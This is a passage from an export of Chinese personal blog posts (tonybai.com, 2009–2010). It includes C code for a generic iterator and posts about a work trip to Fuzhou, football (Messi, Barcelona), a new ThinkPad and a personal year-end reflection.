{\nvoid *collection_instance;\nvoid *collection_inner_itor;\nHAS_NEXT_HOOK_FUNC _has_next;\nGET_NEXT_HOOK_FUNC _get_next;\n};\niterator* iterator_new( void *collection_instance,\nvoid *collection_inner_itor,\nHAS_NEXT_HOOK_FUNC h,\nGET_NEXT_HOOK_FUNC g) {\niterator *itor = NULL;\nitor = calloc(1, sizeof(*itor));\nif (!itor) return NULL;\nitor-\u0026gt;collection_instance = collection_instance;\nitor-\u0026gt;collection_inner_itor = collection_inner_itor;\nitor-\u0026gt;_has_next = h;\nitor-\u0026gt;_get_next = g;\nreturn itor;\n}\nvoid iterator_free(iterator *itor) {\nif (itor) {\nif (itor-\u0026gt;collection_inner_itor) free(itor-\u0026gt;collection_inner_itor);\nfree(itor);\n}\n}\nbool has_next(iterator *itor) {\nreturn itor-\u0026gt;_has_next(itor-\u0026gt;collection_instance, itor-\u0026gt;collection_inner_itor);\n}\nvoid* get_next(iterator *itor) {\nreturn itor-\u0026gt;_get_next(itor-\u0026gt;collection_instance, itor-\u0026gt;collection_inner_itor);\n}\n有了iterator，我们再举一个支持iterator遍历的list的例子，这里就不列出全部代码了，仅将关键的接口实现放出：\n/* x_list.c */\nstruct x_list_inner_itor {\nx_list_item_t *item;\n};\nstatic bool x_list_has_next(void *collection_instance, void *collection_inner_itor) {\nx_list_t *list = (x_list_t*) collection_instance;\nstruct x_list_inner_itor *p = (struct x_list_inner_itor *)collection_inner_itor;\nx_list_item_t *item = p-\u0026gt;item;\nreturn (X_LIST_NEXT(item) != X_LIST_DUMMY_HEAD(list));\n}\nstatic void* list_get_next(void *collection_instance, void *collection_inner_itor) {\nstruct x_list_inner_itor *p = (struct x_list_inner_itor *)collection_inner_itor;\nx_list_item_t *item = p-\u0026gt;item;\np-\u0026gt;item = X_LIST_NEXT(item);\nreturn p-\u0026gt;item;\n}\niterator* x_list_iterator(x_list_t *list) {\nstruct x_list_inner_itor *p = NULL;\np = calloc(sizeof(*p), 1);\nif (!p) return NULL;\np-\u0026gt;item = X_LIST_DUMMY_HEAD(list);\nreturn iterator_new(list,\n(void*)p,\nx_list_has_next,\nx_list_get_next); }\n以上只是提供了iterator的C实现的一种思路，大家见仁见智吧。\n","permalink":"https://tonybai.com/2010/01/30/implement-iterator-in-c/","summary":"\u003cp\u003e这几天一直处于编码状态，也找回了一些对代码的良好感觉。\u003c/p\u003e\n\u003cp\u003e昨天晚上闲暇时翻阅“\u003ca href=\"http://www.douban.com/subject/2243615/\"\u003eHead First设计模式\u003c/a\u003e”，当翻到迭代器模式时，突然有了想法：实现一个iterator。这几天编码时恰好也写了一个简单的带有遍历功能的小数据结构，不妨用iterator改造一下这个数据结构的遍历接口，看是否能成行。\u003c/p\u003e","title":"iterator的C实现"},{"content":"掐指算来，这次在福州出差已有近三周多了，这期间经历了几次产品升级和测试，大家都变得疲惫不堪，最突出的表现就是精神头不再像刚来是那么足了，饭量开始减少，食欲下降，睡眠质量也下降了。\n从这周开始这边的Team基本分成了两拨儿人，一拨儿人在客户现场驻守，协助解决产品运行中的问题，另一拨人则跟着我“宅”在酒店里进行新版本的开发和测试。说起来，大家在一个大屋子里办公还是很其乐融融的。由于一个新模块的开发，我也参与了紧张的编码测试工作，几天时间写了近2K行代码，由于长时间聚精会神的坐在屏幕前编码，颈椎都有些撑不住了，后颈左侧时常疼痛。记忆中我似乎也好久没有这么长时间连续编码了。\n长时间的连续工作让大家都有些疲劳，原计划昨天晚上23点场集体看3D版“阿凡达”轻松一下的，票都托当地的同事排队搞到了，但是因昨天下午的一个突发事故，又泡汤了，不知道年前是否还能看得到。\n在这边最让大家感觉头痛的还是吃饭问题，我们住在闽江大桥南。这个地方能吃的地方比较少。常去的地方就是酒店附近的阿瓦山寨了，我是喜欢吃湘菜的，尤为喜欢农家小炒肉^_^。不过每天都去吃，想起来都倒胃口了，特别是众口难调，人多了，意见很容易不一致。发掘能吃的地儿就成了我们工作之余的首要任务了。刚来的时候对酒店的早晨还是很期待的，现在早餐都变得难以下咽了。\n当吃饭变得鸡肋，剩下的就只有工作了。\n","permalink":"https://tonybai.com/2010/01/29/working-busy-at-fuzhou/","summary":"\u003cp\u003e掐指算来，这次在\u003ca href=\"http://tonybai.com/2010/01/17/shopping-at-taijiang-pedestrian-street/\"\u003e福州出差\u003c/a\u003e已有近三周多了，这期间经历了几次产品升级和测试，大家都变得疲惫不堪，最突出的表现就是精神头不再像刚来是那么足了，饭量开始减少，食欲下降，睡眠质量也下降了。\u003c/p\u003e\n\u003cp\u003e从这周开始这边的Team基本分成了两拨儿人，一拨儿人在客户现场驻守，协助解决产品运行中的问题，另一拨人则跟着我\u003ca href=\"http://tonybai.com/2009/12/24/stay-in-hotel-on-christmas-eve/\"\u003e“宅”在酒店\u003c/a\u003e里进行新版本的开发和测试。说起来，大家在一个大屋子里办公还是很其乐融融的。由于一个新模块的开发，我也参与了紧张的编码测试工作，几天时间写了近2K行代码，由于长时间聚精会神的坐在屏幕前编码，颈椎都有些撑不住了，后颈左侧时常疼痛。记忆中我似乎也好久没有这么长时间连续编码了。\u003c/p\u003e\n\u003cp\u003e长时间的连续工作让大家都有些疲劳，原计划昨天晚上23点场集体看3D版“\u003ca href=\"http://www.douban.com/subject/1652587/\"\u003e阿凡达\u003c/a\u003e”轻松一下的，票都托当地的同事排队搞到了，但是因昨天下午的一个突发事故，又泡汤了，不知道年前是否还能看得到。\u003c/p\u003e","title":"人在福州，忙！"},{"content":"算起来这已经是我第三次到榕城了，不过这次待在这儿的时间可能会更长。\n周三到这儿后就一直在客户现场做保障工作，每天工作10多个小时，大家都挺累的。周六下午大家休息差不多后就商量着出去转转。我们住在闽江大桥南侧的国谊酒店，江北不远处就是台江步行街-福州一条商业街，我们就将目的地定在了那。\n走出酒店正门已是下午4点半，向北登上闽江大桥，边走边欣赏闽江的景致。北方人对南方的大江大河还是蛮有兴致的，每当有大船从桥下呼啸驶过时，我们都驻足观看，颇有一丝兴奋，这种水运在北方关外可是难得一见的。闽江大桥不长，估计不足千米，10分钟左右就到达了江对面。下桥后向西走就是台江步行街方向。\n台江步行街非“名符其实”的步行街，与北京王府井、成都春熙路、沈阳的中街/太原街、昆明老街这些步行街都有不同，台江步行街中间是一条宽阔大马路，机动车自由通行，两侧是林立的商场和店铺，行人都在两侧步行^_^。从地图上来看，似乎西至五一南路，东至六一中路都是台江步行街范畴。一路逛去竟发现没什么值得我们驻足的。想找个解决晚饭的地儿也很难。麦当劳、肯德基我们是不想去的，找个有当地特色一点的饭馆才是我们的目的。终于在一个路口发现一家拌面扁肉店，正值饭点，“扁肉”二字让我们都产生了好奇，我们就走了进去。经观察后才知原来扁肉就是北方的馄饨(成都那边叫抄手，还有些地方叫云吞)。点了一碗拌面，味道还不错，似乎是麻酱拌的，但却不那么腻口，咸淡儿适中。\n出了小吃店，大家也不知道去哪里是好，想起之前来的路上有看到“榕城老街”的一个牌楼，想必那里一定汇集了不少当地有关特色的产品。在前去的路上，我们穿过一片比较老旧的民宅，那些宅子有几层楼高，但又不像是我们常见的楼房，我似乎没看到单元门，也不知道那里是什么个结构样式。很多老人刚吃完晚饭在外面坐着闲聊，可以很清楚的看到他们背后屋子里的情形，桌子、椅子及其他家具摆设都看得到，都很简朴。猜测也许这就是最具福州当地特色的生活了。\n出了那片生活区，不远处就看到了“榕城老街”的牌楼，以为那里会卖一些福州当地的特色产品，结果走进去一瞧才发现这个夜幕下的“榕城古街”似乎就是北方的夜市一条街。两旁烤串烤鱿鱼一应俱全，廉价服装满眼都是。除了街旁的鱼丸、肉燕的招牌让人还能想起这是在福州，失望之情绪油然而生。不过既来之，则安之。我还是吃了一碗鱼丸，味道还可，未吃过最正宗的福州鱼丸(好吃的老店似乎都集中在鼓楼区了)，所以也无从比对，三个大鱼丸入肚后就觉得很饱了。\n说句实在话，福州这个地方是吃的不如长沙、成都；玩的不如昆明，确是缺少些吸引力。还是回酒店“宅”着吧！\n","permalink":"https://tonybai.com/2010/01/17/shopping-at-taijiang-pedestrian-street/","summary":"\u003cp\u003e算起来这已经是我第三次到\u003ca href=\"http://tonybai.com/2009/10/24/a-trip-to-fuzhou/\"\u003e榕城\u003c/a\u003e了，不过这次待在这儿的时间可能会更长。\u003c/p\u003e\n\u003cp\u003e周三到这儿后就一直在客户现场做保障工作，每天工作10多个小时，大家都挺累的。周六下午大家休息差不多后就商量着出去转转。我们住在闽江大桥南侧的国谊酒店，江北不远处就是台江步行街-福州一条商业街，我们就将目的地定在了那。\u003c/p\u003e","title":"逛台江步行街"},{"content":"在北京时间今天凌晨展开的2009-10赛季西甲联赛第18轮较量中，巴萨在诺坎普主场4:0痛宰死敌塞维利亚队，双料先生梅西打入其个人代表巴萨一线队在正式比赛中的第100个和第101个进球。梅西也因此成为巴萨历史上最年轻的百球先生，而完成这百粒入球梅西仅用了五年时间，这五年也是梅西以火箭速度成长的黄金五年。\n西甲处子球\n2005年的荷兰世青赛让世界球迷认识了一位年仅18岁的阿根廷小个子球员，他就是梅西。在那届世青赛上，他帮助阿根廷队夺得冠军，个人也包揽了最佳球员和最佳射手两大奖项。在西班牙的美丽城市巴塞罗那，小个子梅西在球迷眼中可并不陌生，他是巴萨队中最亮的一颗正在冉冉升起的新星，在刚刚过去的2004-05赛季西甲联赛中，巴萨获得了西甲冠军，梅西也做出了自己的贡献，虽然那时梅西还仅仅是久利的替补。在2005年5月1日西甲第34轮巴萨主场对阿尔巴赛特的比赛中，身披30号球衣的梅西下半时88分钟替补埃托奥出场，梅西上场仅一分钟就接小罗妙传吊射破门，但被裁判吹罚进球无效；好事多磨，两分钟后梅西卷土从来，他再次接小罗挑传，一脚惊艳的吊射，皮球飞过对方门将的头顶入网，梅西攻入了自己在西甲的第一粒入球。\n第一粒欧冠入球\n2004-05赛季梅西一共代表巴萨在联赛中出场7次，获得一粒进球。在接下来的2005-06赛季，梅西获得了更多的出场机会，包括欧战和杯赛，进球也就更多了。梅西的第一粒欧冠进球没有让球迷等待太多时间，在2005-06赛季的欧冠小组赛巴萨对阵希腊帕纳辛奈科斯队的比赛中，梅西在上半时挑球过门将后射门中的，这同样也是梅西为巴萨贡献的第二粒官方进球。\n第一粒国王杯入球\n2005-06赛季伊始，小将梅西就状态神勇，在联赛中连续进球，国王杯上梅西也不甘示弱，在2005-06赛季国王杯1/4决赛第二回合与萨拉戈萨的较量中，梅西用一粒头球完成了自己在国王杯的首例入球。\n第一次帽子戏法\n2005-06赛季巴萨获得了西甲冠军和欧冠冠军，梅西可谓功不可没，唯一让人遗憾的是欧冠半决赛后梅西因伤没能参加到欧冠的最终决赛。不过2006-07赛季梅西将积蓄的力量再次爆发了出来，特别值得一提的是在这个赛季，梅西完成了个人职业生涯的首个帽子戏法，而给梅西的这次神奇演出当配角的正是巴萨的死敌皇家马德里。2006-07赛季第26轮西甲上演国家德比，巴萨坐镇主场迎战皇家马德里。比赛中巴萨三次落后，梅西凭借个人出众的技术和速度三次将比分追平，赛后的媒体打分中梅西被评为10分的满分。这一战后，梅西在巴萨的位置有了进一步的提升，也让球迷们看到了巴萨未来的希望。\n世纪进球\n2007年4月18日，世界各大体育媒体的头条报道都不约而同的将两个球员的名字放到了一起：梅西和马拉多纳。这源于梅西在国王杯对阵赫塔菲一役中上演了完美复制版的马拉多纳世纪进球。当比赛进行到上班场第28分钟时，哈维塞给中线左边的梅西，此时梅西还处于自己的半场。他先是带过纳琼，然后左脚外脚背一拨晃过帕雷德斯，接着沿内线挺进腹地，跑动中加速再次超越帕雷德斯。赫塔菲中卫贝伦格尔倒地铲球，梅西左脚外脚背机警的一拨，随即一扣又过掉补防的阿莱克西斯，面对出击的门将路易斯-加西亚稍做停顿再向外侧一扣小角度右脚命中空门！整个过程耗时11秒，盘带了近60米过人5个，这个进球几乎与球王马拉多纳在1986年世界杯上上演的那个世纪进球如出一辙。赛后球王接班人这一话题再次成为媒体热捧的焦点，而梅西则毫无争议的成为了球王接班人符合度最高的人选了。\n上帝之手\n球王马拉多纳有两大标志性的入球，一个是世纪进球，另外一个就是“上帝之手”。2006-07赛季梅西在国家德比上演了世纪进球，在同一个赛季的第37轮对阵西班牙人的同城德比中，梅西再次吸引了世界媒体的眼球，他这次则是复制了球王的经典之作：“上帝之手”帮助球队扳平比分。不过上帝并没有给巴萨什么好运气，巴萨在这个赛季还是丢掉了本来垂手可得的联赛冠军。自此巴萨梦二时代宣告结束。\n2007-08赛季的巴萨更是因内部原因战绩糟糕，梅西也是频频受伤，小罗离去，巴萨跌入谷底。\n第二次帽子戏法-巴萨国王登基之作\n2008-09赛季梅西接过小罗衣钵，披上了巴萨10号球衣，对于一个刚满22岁的小将来说这既是荣誉也是压力。不过梅西用完美的表现征服了球迷，征服了世界。在2008-09赛季国王杯1/8决赛第一回合同马德里竞技的客场比赛中，梅西更是上演了职业生涯第二次帽子戏法，用实际行动证明了自己是当之无愧的巴萨新国王。\n俱乐部历史第5000个入球\n2008-09赛季巴萨如日中天，但是赛季中巴萨也曾进入过疲劳期，第二十一轮，巴萨客场挑战桑坦德竞技，梅西被轮换坐在替补席。不过下半时桑坦德的进球让瓜帅不得不派上疲劳的梅西。梅西不负众望，连入两球帮助巴萨逆转去三分，其中第二例进球更是巴萨俱乐部历史上的第5000粒联赛进球。\n六比二伯纳乌屠皇马\n2008-09赛季第二次西班牙国家德比，巴萨做客伯纳乌挑战皇马，梅西梅开二度（还有一个助攻）帮助巴萨以6:2的悬殊比分将死对头皇马彻底钉在了历史的耻辱柱上。梅西个人在国家德比战中的总进球数也上升到了六个。\n国王杯决赛入球\n2009年巴萨收获的第一个冠军奖杯就是西班牙国王杯，之前巴萨已经有20年未染指国王杯了。梅西是第一次参加国王杯决赛，他在下半时54分钟打入反超比分的一球，并且助攻博扬扩大比分。国王杯的胜利奠定了巴萨2009辉煌的一年。至此巴萨走上了正确的收获冠军奖杯的道路。\n欧冠决赛入球\n2008-09赛季巴萨在拿到了国王杯和西甲联赛两座奖杯后，出征永恒之城罗马，为球队的三冠王目标做最后拼搏。2005-06赛季因伤未能参加欧冠决赛的梅西更是憋足了劲儿，发誓要夺取一个属于自己的冠军杯。90分钟比赛巴萨技高一筹，2:0横扫曼联，夺得三冠王。梅西用一粒惊世骇俗的头球结束了2008-09这一完美的赛季，这是梅西在冠军杯决赛的首例入球，也是欧战对阵英超球队的首例入球。之后梅西也凭借9粒冠军联赛入球荣膺2009年欧冠最佳球员和最佳射手。\n西班牙超级杯\n2009-10赛季西甲揭幕前举行的西班牙超级杯第二回合，梅西独中两元帮助巴萨击败毕尔巴鄂竞技夺取奖杯，这是巴萨2008-09赛季的第四座冠军奖杯。\n第一粒任意球直接破门\n虽说梅西在2008-09赛季西甲主场对阵马竞的比赛中曾经主罚过任意球直接破门，但那个进球是趁对方人墙未稳时罚的，不能完全体现出梅西的技术。在2009-10赛季欧冠小组赛决定小组出线的生死战中，梅西罚出一记漂亮的直接任意球钻入球门，帮助巴萨2:1取得比赛胜利，顺利晋级欧冠淘汰赛。梅西通过自己的努力在告诉世人“任意球我也行”。\n世俱杯决赛入球\n巴萨历史上唯一没有拿过的冠军奖杯就是世俱杯冠军了，此前两次均折戟沉沙。这次世俱杯如果夺冠将有两个意义：一是填补俱乐部历史空白；二是巴萨将成为足球历史上史无前例的第一个六冠王球队。梅西没有让大家的期望落空，凭借加时赛的一粒胸部入球，绝杀阿根廷拉普拉塔大学生队，加冕六冠王。\n第三次帽子戏法\n2009-10赛季西甲联赛第17轮，巴萨做客挑战升班马特内里费，这场比赛之前巴萨刚刚在主场输掉国王杯与塞维利亚的比赛，前途未卜。梅西接博扬的三次助攻完成个人职业生涯的第三次帽子戏法，帮助球队5:0大胜继续领跑积分榜，提升了球队士气。\n完成俱乐部百球的双料先生梅西并未停下脚步，他既然在持续成长，他将继续带领巴萨去赢得更多的荣誉，我们期待着他的第200粒进球、第300粒进球…。期待着他带领巴萨拿下一个又一个的冠军奖杯!\n","permalink":"https://tonybai.com/2010/01/17/leomessi-one-hundred-goals-for-barca/","summary":"\u003cp\u003e在北京时间今天凌晨展开的2009-10赛季西甲联赛第18轮较量中，\u003ca href=\"http://www.fcbarcelona.cat\"\u003e巴萨\u003c/a\u003e在\u003ca href=\"http://en.wikipedia.org/wiki/Camp_Nou\"\u003e诺坎普\u003c/a\u003e主场4:0痛宰死敌塞维利亚队，\u003ca href=\"http://tonybai.com/2009/12/22/leomessi-fifa-world-player-of-2009/\"\u003e双料先生\u003c/a\u003e梅西打入其个人代表巴萨一线队在正式比赛中的第100个和第101个进球。\u003ca href=\"http://bigwhite.blogbus.com/logs/52714184.html\"\u003e梅西\u003c/a\u003e也因此成为巴萨历史上最年轻的百球先生，而完成这百粒入球\u003ca href=\"http://en.wikipedia.org/wiki/Lionel_Messi\"\u003e梅西\u003c/a\u003e仅用了五年时间，这五年也是梅西以火箭速度成长的黄金五年。\u003c/p\u003e\n\u003cp\u003e西甲处子球\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://filer.blogbus.com/40445/4044512637064827.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://filer.blogbus.com/40445/4044512637064897.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e2005年的荷兰世青赛让世界球迷认识了一位年仅18岁的阿根廷小个子球员，他就是梅西。在那届世青赛上，他帮助阿根廷队夺得冠军，个人也包揽了最佳球员和最佳射手两大奖项。在西班牙的美丽城市巴塞罗那，小个子梅西在球迷眼中可并不陌生，他是巴萨队中最亮的一颗正在冉冉升起的新星，在刚刚过去的2004-05赛季西甲联赛中，巴萨获得了西甲冠军，梅西也做出了自己的贡献，虽然那时梅西还仅仅是久利的替补。在2005年5月1日西甲第34轮巴萨主场对阿尔巴赛特的比赛中，身披30号球衣的梅西下半时88分钟替补埃托奥出场，梅西上场仅一分钟就接小罗妙传吊射破门，但被裁判吹罚进球无效；好事多磨，两分钟后梅西卷土从来，他再次接小罗挑传，一脚惊艳的吊射，皮球飞过对方门将的头顶入网，梅西攻入了自己在西甲的第一粒入球。\u003c/p\u003e","title":"闲话梅西百球"},{"content":"近期由于Blogbus被停止DNS解析，让我着实闹心了许久。曾经尝试了多种\u0026quot;招式\u0026quot;试图能进入BlogBus，比如使用OpenDNS、使用4624.info等，都不尽如人意，往往开始时还是可以访问到Bus的，但随着时间的推移，似乎也受到了影响，以至于后来就再也无法进入大巴了。今天直接采用了修改hosts文件的方式终于进来了，而且大部分功能都能使用，不过还是期望Blogbus能尽早恢复正常访问。\n这周五一同事从美国出差归来，我新购的ThinkPad T400也同机到达^_^。工作后就一直使用ThinkPad本子，也就习惯了小黑，这次恰逢同事到美国出差，遂让其捎回来一台。本子是在12月份在联想美国官网订购的，用了eCoupon，税后总计5000多RMB，型号是7417CTO，配置很朴实，我也没有太多要求，除了用来写代码，再就是给老婆上网看电影。\n本子到我手中时就是主机+AC Adapter+说明书了，谢过同事，回到家中，迫不及待的按下电源键，机器启动，正版Windows 7展现在眼前，我选择的是64位Windows 7，就是为了以后扩展方便。从开机到显示登录页面速度很快，的确比XP进步不小。正式开始使用Windows 7，第一感觉：外观出色，操作细节有改善，但是仍非“革新”性的OS产品。我的小黑跑Windows 7还绰绰有余，不过也没有我期望中的那么快。\n自带的Windows 7是英文版的，不知道是不是我的同事已经帮我安装了中文语言包，我还没有碰到乱码情况。目前小黑唯一让人不爽的就是分区，还得自己动手重新搞，而且要小心搞，稍有不慎“一键恢复”就会失效，那时候再想用正版Windows 7就难了！\nT400是14寸LED宽屏，以前用的都是14寸普屏，眼睛还需要时间适应。T400键盘有些偏软，但是用起来还是蛮舒服的。T400增加了\u0026quot;Win\u0026quot;键，这将Alt键的空间挤压了不少，我宁愿没有\u0026quot;Win\u0026quot;键；T400自带的\u0026quot;喇叭\u0026quot;^_^不错，放音乐的效果我还是较满意的。T400的单手开合设计似乎不那么稳妥，试了几次，开盖时底盘也跟着翘起来了；T400比我目前工作用的本子要轻一些，但塑料感也更重了，有些部位的塑料很薄，不知道是强度更大的新材料还是偷工减料。\n总之，T400还待在继续使用中去熟悉，相信有着良好传统的ThinkPad T系列是不会让我失望的。\n","permalink":"https://tonybai.com/2010/01/10/thinkpad-t400-is-available/","summary":"\u003cp\u003e近期由于Blogbus被停止DNS解析，让我着实闹心了许久。曾经尝试了多种\u0026quot;招式\u0026quot;试图能进入BlogBus，比如使用OpenDNS、使用4624.info等，都不尽如人意，往往开始时还是可以访问到Bus的，但随着时间的推移，似乎也受到了影响，以至于后来就再也无法进入大巴了。今天直接采用了\u003ca href=\"http://mr21.in/2010-01/blogbus-banned-emergency-solution.html\"\u003e修改hosts文件\u003c/a\u003e的方式终于进来了，而且大部分功能都能使用，不过还是期望Blogbus能尽早恢复正常访问。\u003c/p\u003e","title":"T400终于到手了"},{"content":"“征尘未洗又出发”！2010年的这个元旦假期我依旧是在忙碌和压力下度过的。元旦三天假期本来是计划静下心来好好回顾和总结一下2009的，但事与愿违。由于年前的最后一天，我们的产品因性能问题招致客户的不满，所以这几天一直在写问题报告和改进方案。节没过好，心情自然也就低落了一些。\n2009年，总体来说是五味杂陈。对我来说，最大的一件快事莫过于结婚了。虽说2008年就和老婆将证书领到了手，但毕竟中国人更看重的是那个婚礼仪式。只有举办了仪式，这个婚姻才算是被认可或者说才是婚姻生活的开始。5月末的婚礼也标志着我和老婆长达10年的恋情终于有了一个完美的结果。婚后带着老婆一起走了九寨、游了峨嵋、逛了成都，虽说有些累，但却是我2009年最快乐的一段时光。\n二人世界的快乐却掩饰不了工作上的不开心。2009年，我第一次感觉到了对目前工作的热情不足。太多的产品升级和维护工作、无数的问题处理让我心烦气躁，工作变得沉闷、僵硬。自己变得沉默。每天陷于繁芜的杂事当中，甚至于能有一段较长的时间去思考和总结都成为奢求，节假日也被工作上的烦事占用。工作上的忙碌，从我的博客文章的数量上也可以看得出，一年下来一共才60几篇，应该是我从2004年写博客以来写的最少的一年了。感觉自己就像一部机器上的零件，机械的转动着，毫无滋味。聊天中我的同事的一句话足以体现我在2009年的状态：看起来似乎不那么精神。\n这样一年下来，感觉自己没有从工作中体会到什么快乐，个人似乎都没有什么提升。曾经尝试过做些改变，但是没多久，热情再次淹没在了繁芜的杂事中。谈及原因，姑且至少应该有如下若干吧：\n1、“在其位不谋其事”\n目前的在公司的角色定位是“技术管理者”，但每天的工作却好似领着一帮人到处修修补补，到处“救火”，在技术本身的感知、预研和选择、技术架构路线演进方面倒是无暇投入；在项目管理的学习和实践、过程改进方面更是有心无力。长此以往，何乐之有。\n2、想做擅长的事，难\n回顾了这几年的工作经历，终于意识到自己还是喜欢做技术，做技术时成就感最强。而现在每天应对客户倒非我擅长，编写各种提交给客户的报告也让我头疼的很，有时候真是硬着头皮去“编”。掐指一算，这一年来真正钻研设计、钻研代码的时间能占上三层就不错了。\n3、想做好一件事，难\n一段时间，只做对和做好一件事已是不易。如果期间手头有一堆事，事情之间的相互影响会让做事的效果大打折扣了。2009年，我就是这样在杂事中度过的。\n也许以上还是问题的表象，问题根源这里也不予置评了，有些工作上的事情是我无法用一己之力搞定的。\n放下2009年！\n说说2010年，正如标题所写：“做快乐的事”，这是一个期望，也是一个目标，生活上如此，工作上也不能再走09年的老路。农历虎年嘛，人总是要活得虎虎有生气的。2010年还有一件对我来说意义重大的事情，那就是“得子”了！时间大约在今年5月份，虽说心里上还未做好为人父的准备^_^。\n2009年的最后一天，我看了一下博客的订阅量，一共有300多位朋友订阅了我的博客，这里感谢大家的长期关注。我也希望在2010年能写出更多，至少是让自己满意的文章来^_^。\n","permalink":"https://tonybai.com/2010/01/04/wish-to-do-happy-things-in-2010/","summary":"\u003cp\u003e“征尘未洗又出发”！2010年的这个元旦假期我依旧是在忙碌和压力下度过的。元旦三天假期本来是计划静下心来好好回顾和总结一下2009的，但事与愿违。由于年前的最后一天，我们的产品因性能问题招致客户的不满，所以这几天一直在写问题报告和改进方案。节没过好，心情自然也就低落了一些。\u003c/p\u003e","title":"2010·做快乐的事"},{"content":"这个平安夜，我是“宅”在福州的一个酒店内度过的。\n中国人过平安夜好比美国人过春节，态度上虽谈不上有多么积极，但是随着全球化的影响^_^，平安夜渐渐也让人们有了一种“合家团聚”的期盼。\n和两个同事一起出差福州已近两周了，经历了三次产品升级的“折磨”，身心早已疲惫不堪，再加之北方人对福州当地的伙食甚是不适应，身体状况是每况愈下。因产品保障需要，笔记本常常是在待机状态下，放到枕头边的，这样一有问题，马上可以起来处理。在这种状态下，伴有轻度神经衰弱的我近来经常是每天只能睡眠4~5个小时，而且这几个小时的睡眠质量也是很差的，常常是一有些响动，就从睡梦中惊醒。\n出差之前咳嗽的病症就未消失，在福州这两周一直还在干咳，口服川贝枇杷糖浆，有些缓解，但不时依旧干咳。\n这两天我们也逐渐学会了适当放松一下自己紧绷的神经。每天晚饭过后到旁边的“温泉公园”散步。福州的民间娱乐生活还是搞的不错的，当然这也得益于福州冬日温暖的气候。每每夜晚，公园内都是人头攒动，大合唱、集体舞、健身操组织的有声有色，真是让我开了眼界，这在北方数九寒冬的季节是极少见的。\n明天是圣诞节，也是年前最后一次业务高峰保障，已经和领导达成一致，保障结束后回家休养，否则我的身体可真的要垮下去了。身体是革命的本钱，是最最重要的。\n","permalink":"https://tonybai.com/2009/12/24/stay-in-hotel-on-christmas-eve/","summary":"\u003cp\u003e这个平安夜，我是“宅”在福州的一个酒店内度过的。\u003c/p\u003e\n\u003cp\u003e中国人过平安夜好比美国人过春节，态度上虽谈不上有多么积极，但是随着全球化的影响^_^，平安夜渐渐也让人们有了一种“合家团聚”的期盼。\u003c/p\u003e","title":"平安夜“宅”在酒店"},{"content":"在今天凌晨国际足联FIFA年度颁奖典礼上，2009欧洲金球奖得主梅西终于获得了“世界足球先生”大奖，为自己的2009年画上了一个完美的句号，同时梅西也完成了自己在2009年个人荣誉和俱乐部荣誉的大满贯。\n梅西加冕2009FIFA先生\n地球上最棒的足球运动员\n","permalink":"https://tonybai.com/2009/12/22/leomessi-fifa-world-player-of-2009/","summary":"\u003cp\u003e在今天凌晨\u003ca href=\"http://www.fifa.com\"\u003e国际足联FIFA\u003c/a\u003e年度颁奖典礼上，2009\u003ca href=\"http://tonybai.com/2009/12/01/leomessi-win-ballon-dor/\"\u003e欧洲金球奖得主梅西\u003c/a\u003e终于获得了“\u003ca href=\"http://en.wikipedia.org/wiki/FIFA_World_Player_of_the_Year\"\u003e世界足球先生\u003c/a\u003e”大奖，为自己的2009年画上了一个完美的句号，同时梅西也完成了自己在2009年个人荣誉和\u003ca href=\"http://tonybai.com/2009/12/20/barca-historically-win-six-champions-in-one-season/\"\u003e俱乐部荣誉\u003c/a\u003e的大满贯。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://filer.blogbus.com/40445/4044512614518675.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e梅西加冕2009FIFA先生\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://filer.blogbus.com/40445/404451261573305j.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e地球上最棒的足球运动员\u003c/p\u003e","title":"梅西，2009世界足球先生"},{"content":"不得不承认: 2009-10赛季西甲开赛以来我半夜爬起来看巴萨比赛的次数与2008-09赛季相比减少了许多，记得上一次爬起来看巴萨比赛还是本赛季的西班牙国家德比，而上一次亲眼见证巴萨夺冠的比赛还是更久以前的欧洲超级杯。昨天就知道周日凌晨有巴萨的世俱杯决赛，之前巴萨已经捧得五冠了，如果能拿下这场比赛，那巴萨将成为世界足球史上第一支全满贯的俱乐部球队。为了亲眼见证这一伟大纪录的诞生，我决定半夜爬起来看比赛！由于央视五套不直播这场比赛，所以只能转战网络收看。\n世俱杯金杯\n这周六是欧洲各大联赛在圣诞前的最后一轮，央视五套直播了一场拜仁的德甲比赛，本打算看完这场比赛接着就打开本本看巴萨比赛的，但是近期的疲倦让我“功败垂成”，不知不觉居然睡着了，德甲联赛也实在提不起我的兴趣。半夜突然醒来，一看时间已经是凌晨两点半多了。立即打开手机上新浪体育直播间，看一下文字直播比分，第一眼瞧到的是“梅西进球了(比分2:1)”，再一看此时是加时赛下半场了，比赛马上要结束了，当时心情顿显紧张起来，希望巴萨能将比分坚持到最后。查看全部的直播文字，了解了比赛的全过程，待回到最新的一页时，比赛已经结束，巴萨果真凭借梅西的一粒金球绝杀阿根廷大学生队，巴萨真的成为了史无前例的“六冠王”！心里既兴奋，又有些遗憾，遗憾没能亲眼见证这一伟大时刻的到来。\n放下手机，躺在床上，兴奋的睡不着。脑子里全是梅西带球突破、梅西进球以及巴萨夺冠的场景。记得巴萨在罗马城击败曼联捧得欧冠时，巴萨球迷们已经成为世界上最幸福的一群人了，应该说已经足够满足了。虽说当时巴萨球员也都放出“势夺六冠”的口号，但是我心里也没有当真，巴萨梦三已经给了我们这些球迷太多太多了，我们也不能过于苛求。不过巴萨将士真的没有放弃，特别是梅西，用瓜帅的话：梅西的血液里融入了胜利的基因。无论是欧洲超级杯还是本场世俱杯决赛，梅西都拼到了最后一刻，梅西也笑到了最后。\n梅西与世俱杯金杯\n赛后，低调的瓜迪奥拉感谢了所有曾为巴萨六冠付出巨大努力的球员，如西尔维尼奥，埃托奥等。没错，巴萨是一个团队，巴萨的胜利不是一个人的胜利，是所有球员、教练共同努力的结果，而梅西只是这支世界冠军球队的杰出代表。\n此时此刻，作为巴萨球迷的我是幸福的，我能做的也只有继续支持六冠王巴萨，支持金球先生梅西。\n另外2009世界足球先生结果即将公布，不出意外，金球先生梅西也将拿到FIFA先生这一本赛季最后的伟大个人奖项，期待梅西再次给我们带来幸福的时刻。\n","permalink":"https://tonybai.com/2009/12/20/barca-historically-win-six-champions-in-one-season/","summary":"\u